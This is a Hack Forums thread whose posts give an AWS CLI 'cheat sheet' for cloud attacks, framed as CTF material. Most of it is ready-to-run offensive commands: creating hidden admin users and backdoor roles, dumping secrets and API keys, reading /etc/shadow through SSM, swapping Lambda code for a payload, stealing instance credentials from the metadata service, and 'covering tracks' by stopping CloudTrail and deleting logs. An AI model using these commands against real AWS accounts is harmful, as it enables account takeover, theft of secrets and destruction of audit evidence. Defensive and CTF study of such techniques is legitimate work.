

Forum: [Hack Forums](#)

Thread: [AWS Cheatsheet for Noobs](#)

Clumsy - December 4, 2025, 11:54 am

AWS CTF Cheat Sheet – Red Team & Blue Team – Beginner to Military-Level Operations

Cheat Sheet By Taylor Christian Newsome

AWS Enumeration – Basic

```
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam list-policies --scope Local
aws iam list-attached-user-policies --user-name USERNAME
aws iam list-instance-profiles
aws s3 ls
aws s3api get-bucket-acl --bucket BUCKET_NAME
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-key-pairs
aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws cloudformation describe-stacks
aws cloudwatch describe-alarms
aws cloudtrail describe-trails
aws sts get-caller-identity
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SECRET_ID
aws ssm describe-instance-information
```

AWS Enumeration – Advanced

```
aws iam get-account-authorization-details
aws s3api list-buckets --query "Buckets[].Name"
aws s3api get-bucket-policy-status --bucket BUCKET_NAME
aws organizations list-accounts
aws guardduty list-findings
aws securityhub get-findings
aws cloudtrail lookup-events --max-results 50
aws logs describe-log-groups
aws logs describe-log-streams --log-group-name LOG_GROUP
aws ecs list-clusters
aws ecs describe-clusters --clusters CLUSTER_NAME
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAME
aws apigateway get-rest-apis
aws apigateway get-method --rest-api-id API_ID --resource-id RESOURCE_ID --http-method GET
aws rds describe-db-instances
```

AWS Privilege Escalation – Basic

```
aws iam create-user --user-name newadmin
aws iam create-access-key --user-name newadmin
aws iam attach-user-policy --user-name newadmin --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
aws iam update-login-profile --user-name newadmin --password PASSWORD
--password-reset-required
```

AWS Privilege Escalation – Advanced

```
aws iam create-policy --policy-name BackdoorPolicy --policy-document file://malicious.json
aws iam create-role --role-name BackdoorRole --assume-role-policy-document file://assume.json
aws iam attach-role-policy --role-name BackdoorRole --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/BackdoorRole --role-session-name
MilitarySession
aws ssm send-command --document-name "AWS-RunShellScript" --targets
"Key=instanceIds,Values=INSTANCE_ID" --parameters "commands=id;whoami"
```

AWS Exploitation – Basic

```
aws s3 cp s3://BUCKET_NAME/file.txt .
aws s3 sync s3://BUCKET_NAME/ .
aws lambda invoke --function-name FUNCTION_NAME output.txt
aws ec2-instance-connect send-ssh-public-key --instance-id INSTANCE_ID --availability-zone
ZONE --instance-os-user ec2-user --ssh-public-key file://mykey.pub
```

AWS Exploitation – Military-Level

```
aws iam simulate-principal-policy --policy-source-arn
arn:aws:iam::ACCOUNT_ID:user/USER_NAME --action-names "*"
aws secretsmanager get-secret-value --secret-id SECRET_ID
aws ssm start-session --target INSTANCE_ID
aws ssm send-command --document-name "AWS-RunShellScript" --targets
"Key=instanceIds,Values=INSTANCE_ID" --parameters "commands=cat /etc/shadow"
aws cloudformation execute-change-set --change-set-name BackdoorChangeSet
aws codebuild list-projects
aws codebuild batch-get-projects --names PROJECT_NAME
aws lambda update-function-code --function-name FUNCTION_NAME --zip-file fileb://payload.zip
aws dynamodb scan --table-name TABLE_NAME
aws apigateway test-invoke-method --rest-api-id API_ID --resource-id RESOURCE_ID
--http-method POST
```

AWS Persistence – Basic

```
aws iam create-user --user-name hidden_user
aws iam create-access-key --user-name hidden_user
aws iam attach-user-policy --user-name hidden_user --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
aws iam update-login-profile --user-name hidden_user --password PASSWORD
--password-reset-required
```

AWS Persistence – Advanced

```
aws iam create-role --role-name HiddenAdminRole --assume-role-policy-document
file://assume.json
aws iam attach-role-policy --role-name HiddenAdminRole --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess
```

```
aws ssm put-parameter --name "HiddenCredential" --value "SuperSecretAccessKey" --type
SecureString
aws lambda create-function --function-name PersistentFunction --runtime python3.8 --role
arn:aws:iam::ACCOUNT_ID:role/BackdoorRole --handler lambda_function.lambda_handler --zip-file
fileb://backdoor.zip
```

AWS Lateral Movement

```
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME --role-session-name
LateralMoveSession
aws ec2 describe-instances --query 'Reservations[].Instances[].InstanceId'
aws ec2 describe-security-groups
aws lambda list-functions --query 'Functions[*].FunctionName'
aws rds describe-db-instances
aws dynamodb list-tables
aws dynamodb scan --table-name TABLE_NAME
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAME
```

AWS Blue Team Detection and Response

```
aws cloudtrail lookup-events --max-results 100
aws guardduty list-findings --query 'Findings[][Severity,Title]'
aws securityhub get-findings --query 'Findings[][Severity,Title]'
aws cloudwatch describe-alarms --query 'MetricAlarms[][AlarmName,StateValue]'
aws s3api list-buckets --query "Buckets[].Name"
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws sts get-caller-identity
aws lambda list-functions --query 'Functions[].FunctionName'
aws iam list-access-keys --user-name ADMIN_USER
aws cloudtrail describe-trails
```

AWS Covering Tracks – Basic

```
aws s3 rm s3://aws-cloudtrail-logs-ACCOUNT_ID-REGION/ --recursive
aws cloudtrail stop-logging --name TRAIL_NAME
aws iam delete-access-key --access-key-id KEY_ID
```

AWS Covering Tracks – Advanced

```
aws logs delete-log-group --log-group-name LOG_GROUP
aws logs delete-log-stream --log-group-name LOG_GROUP --log-stream-name LOG_STREAM
aws ec2 delete-security-group --group-id SG_ID
aws ec2 delete-key-pair --key-name BACKDOOR_KEY
aws s3api delete-bucket --bucket BUCKET_NAME
aws lambda delete-function --function-name PersistentFunction
aws cloudtrail delete-trail --name CompromisedTrail
aws organizations leave-organization
```

mrbumbastik - December 4, 2025, 12:22 pm

If I may add on top of this contribution, the AWS Certified Cloud Practitioner (free on Udemy (warez disallowed) if I'm not mistaken) is a great complement to this cheatsheet.

Clumsy - December 9, 2025, 11:41 pm

Identify the current AWS identity

```
aws sts get-caller-identity
```

List all IAM users roles policies groups

```
aws iam list-users  
aws iam list-roles  
aws iam list-policies --scope Local  
aws iam list-groups
```

Dump IAM authorization details for privilege escalation puzzles

```
aws iam get-account-authorization-details > iam.json
```

List all access keys for a target user

```
aws iam list-access-keys --user-name USERNAME
```

Find privilege escalation paths in a CTF IAM policy

```
aws iam get-policy-version --policy-arn ARN --version-id v1
```

List all S3 buckets

```
aws s3 ls  
aws s3api list-buckets --query "Buckets[].Name"
```

Check S3 public access and policy

```
aws s3api get-bucket-policy-status --bucket BUCKETNAME  
aws s3api get-public-access-block --bucket BUCKETNAME
```

Download everything from an open bucket

```
aws s3 sync s3://BUCKETNAME ./loot
```

List EC2 instances and their public IPs

```
aws ec2 describe-instances --query "Reservations[].Instances[].PublicIpAddress"
```

List SGs to spot open CTF services

```
aws ec2 describe-security-groups
```

CTF SSRF IMDS exploitation fetch the role inside instance

```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME
```

Fetch all metadata without recursion

```
curl http://169.254.169.254/latest/meta-data/ -L
```

Find the instance role being used

```
curl http://169.254.169.254/latest/meta-data/iam/info
```

Retrieve EC2 userdata for secrets or flags

curl <http://169.254.169.254/latest/user-data>

List Lambda functions for exploitation puzzles

aws lambda list-functions --query "Functions[].FunctionName"

Dump Lambda environment variables

aws lambda get-function-configuration --function-name NAME --query "Environment.Variables"

Invoke Lambda to extract flag from its output

aws lambda invoke --function-name NAME outfile.json

Pull Lambda source code if IAM allowed

aws lambda get-function --function-name NAME

List DynamoDB tables and dump a table

aws dynamodb list-tables

aws dynamodb scan --table-name TABLENAME

Test API Gateway methods to discover misconfigs

aws apigateway test-invoke-method --rest-api-id APIID --resource-id RESOURCE --http-method GET

Enumerate ECS clusters tasks services

aws ecs list-clusters

aws ecs list-services --cluster CLUSTERNAME

aws ecs list-tasks --cluster CLUSTERNAME

Enumerate EKS clusters and describe them

aws eks list-clusters

aws eks describe-cluster --name NAME

CloudTrail event lookup for attacker simulation puzzles

aws cloudtrail lookup-events --max-results 100

List CloudWatch logs and pull streams

aws logs describe-log-groups

aws logs describe-log-streams --log-group-name LOGGROUPNAME

Pull logs from a stream for hidden flags

aws logs get-log-events --log-group-name LOGGROUPNAME --log-stream-name LOGSTREAMNAME

List RDS instances

aws rds describe-db-instances

Extract DB endpoint for SQL puzzle

aws rds describe-db-instances --query "DBInstances[].Endpoint.Address"

Assume a role if allowed by CTF puzzle

aws sts assume-role --role-arn arn:aws:iam:ACCOUNT:role/ROLENAME --role-session-name ctf

Dump all CloudFormation stacks to find hidden credentials

aws cloudformation describe-stacks

Enumerate Secrets Manager

aws secretsmanager list-secrets

Retrieve a secret when permission allows

aws secretsmanager get-secret-value --secret-id SECRETNAME

Enumerate SSM Parameter Store

aws ssm describe-parameters

Fetch SSM parameters in a CTF puzzle

aws ssm get-parameter --name NAME --with-decryption

Start an SSM session when allowed

aws ssm start-session --target INSTANCEID

List EC2 snapshots for data exfil puzzles

aws ec2 describe-snapshots --owner-ids self

Get volumes and map flags hidden inside snapshots

aws ec2 describe-volumes

Search all tags for accidental flag leakage

aws ec2 describe-tags

Enumerate CloudFront distributions

aws cloudfront list-distributions

Dump API keys from API Gateway

aws apigateway get-api-keys --include-values

Enumerate CodeBuild projects

aws codebuild list-projects

aws codebuild batch-get-projects --names PROJECTNAME

Enumerate ECR containers for flag in layers

aws ecr describe-repositories

aws ecr list-images --repository-name NAME

Download ECR image layer for manual inspection

aws ecr batch-get-image --repository-name NAME --image-ids imageTag=latest --query
"images[].imageManifest"

List KMS keys for crypto puzzles

aws kms list-keys

aws kms describe-key --key-id KEYID

Generate decrypt simulation with allowed key

aws kms decrypt --ciphertext-blob fileb encrypted.bin --output text --query Plaintext | base64 -d

Enumerate Config rules to detect misconfigs

aws config describe-config-rules

List GuardDuty findings for blue-team puzzles

aws guardduty list-findings

aws guardduty get-findings --finding-ids IDS

Enumerate SecurityHub findings

aws securityhub get-findings

List all network interfaces

aws ec2 describe-network-interfaces

Dump routes for pivot puzzles

aws ec2 describe-route-tables

List VPCs and subnets

aws ec2 describe-vpcs
aws ec2 describe-subnets

Find all open ports through VPC Reachability Analyzer

aws ec2 search-transit-gateway-routes --transit-gateway-route-table-id ID --filters Name=state
Values=active

Terry A. Davis - December 10, 2025, 11:45 am

It might take more work than it's worth, but can you format this with like a bullet point with what the command does, then maybe like a code block with the command, then finally a more verbose description?

I know it's meant to be a cheat sheet, but my eyes bled a little bit trying to read through this.

Clumsy - December 12, 2025, 1:00 pm

(Dec 10, 2025 12:45 PM)Terry A. Davis Wrote: [\[CITE\]](#) It might take more work than it's worth, but can you format this with like a bullet point with what the command does, then maybe like a code block with the command, then finally a more verbose description?

I know it's meant to be a cheat sheet, but my eyes bled a little bit trying to read through this.
yeah bc of it not being syntaxed sorry im lazy

Terry A. Davis - December 12, 2025, 1:36 pm

(Dec 12, 2025 02:00 PM)Clumsy Wrote: [\[CITE\]](#) yeah bc of it not being syntaxed sorry im lazy
Laziness is infectious and a very bad thing. Don't be lazy.

Clumsy - December 12, 2025, 9:20 pm

(Dec 12, 2025 02:36 PM)Terry A. Davis Wrote: [\[CITE\]](#) Laziness is infectious and a very bad thing.
Don't be lazy.
It's ok because if I was productive cloudflare would go down again lol

Terry A. Davis - December 13, 2025, 12:29 am

(Dec 12, 2025 10:20 PM)Clumsy Wrote: [\[CITE\]](#) It's ok because if I was productive cloudflare would go down again lol
I wish, might make me less terminally online